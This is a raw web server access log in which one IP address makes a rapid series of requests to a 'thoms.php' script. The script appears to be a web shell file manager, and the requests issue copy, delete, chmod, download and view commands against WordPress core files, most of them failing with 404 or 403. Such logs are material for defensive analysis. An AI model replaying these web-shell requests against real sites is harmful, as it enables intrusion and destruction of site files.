45.135.193.11 - - [11/Sep/2026:23:55:43 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:43 -0400] "GET /thoms.php?del=class-wp-duotone.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-duotone.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:43 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:43 -0400] "GET /thoms.php?chmod=class-wp-feed-cache.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:43 -0400] "GET /thoms.php?chmod=class-wp-customize-section.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-section.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:43 -0400] "GET /thoms.php?chmod=class-wp-embed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-embed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:44 -0400] "GET /thoms.php?del=class-wp-textdomain-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-textdomain-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:44 -0400] "GET /thoms.php?chmod=general-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=general-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:44 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fregistration-functions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fregistration-functions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:44 -0400] "GET /thoms.php?dl=query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:44 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:44 -0400] "GET /thoms.php?chmod=widgets.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:44 -0400] "GET /thoms.php?chmod=class-IXR.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-IXR.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:44 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-customize-section.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-customize-section.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:44 -0400] "GET /biotaiwan.com.tw/wp-includes/html-api/ HTTP/1.1" 200 1627 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:45 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fload.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fload.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:45 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-default-filters.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-default-filters.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:45 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-simplepie.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-simplepie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:45 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:45 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:45 -0400] "GET /thoms.php?dl=class.wp-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class.wp-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:45 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fupdate.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fupdate.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:46 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:46 -0400] "GET /thoms.php?dl=class-wp-customize-widgets.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-widgets.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:46 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:46 -0400] "GET /thoms.php?del=class-wp-post-type.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-post-type.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:46 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:46 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-site.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:47 -0400] "GET /thoms.php?chmod=comment-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=comment-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:47 -0400] "GET /thoms.php?chmod=cron.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=cron.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:47 -0400] "GET /thoms.php?chmod=class-wp-http-requests-response.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-response.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:47 -0400] "GET /thoms.php?chmod=class-wp-customize-control.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-control.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:47 -0400] "GET /biotaiwan.com.tw/wp-includes/l10n.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:47 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:47 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=plugin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=plugin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:47 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-site.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-site.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:47 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-plugin-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:47 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Frss.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Frss.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:47 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-object-cache.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-object-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:47 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-user-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-user-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:47 -0400] "GET /thoms.php?del=ID3&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ID3&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:47 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fdefault-constants.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fdefault-constants.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:47 -0400] "GET /thoms.php?del=php-compat&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=php-compat&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:47 -0400] "GET /thoms.php?del=block-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:48 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblocks.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblocks.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:48 -0400] "GET /thoms.php?dl=class-IXR.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-IXR.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:48 -0400] "GET /thoms.php?del=feed-rss2-comments.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-rss2-comments.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:48 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-error.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:48 -0400] "GET /thoms.php?dl=registration-functions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=registration-functions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:48 -0400] "GET /thoms.php?del=abilities.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=abilities.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:48 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:48 -0400] "GET /thoms.php?dl=class-wp-user-meta-session-tokens.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-meta-session-tokens.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:48 -0400] "GET /thoms.php?del=block-patterns&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-patterns&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:48 -0400] "GET /thoms.php?dl=class-wp-image-editor-gd.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-gd.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:48 -0400] "GET /thoms.php?del=class-wp-matchesmapregex.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-matchesmapregex.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:49 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcomment.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcomment.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:49 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=default-constants.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:49 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fhttps-detection.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fhttps-detection.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:49 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=registration-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=registration-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:49 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fhtml-api&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fhtml-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:49 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=category-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=category-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:49 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fphp-ai-client HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fphp-ai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:49 -0400] "GET /thoms.php?dl=class-wp-term.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-term.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:49 -0400] "GET /thoms.php?dl=post-thumbnail-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post-thumbnail-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
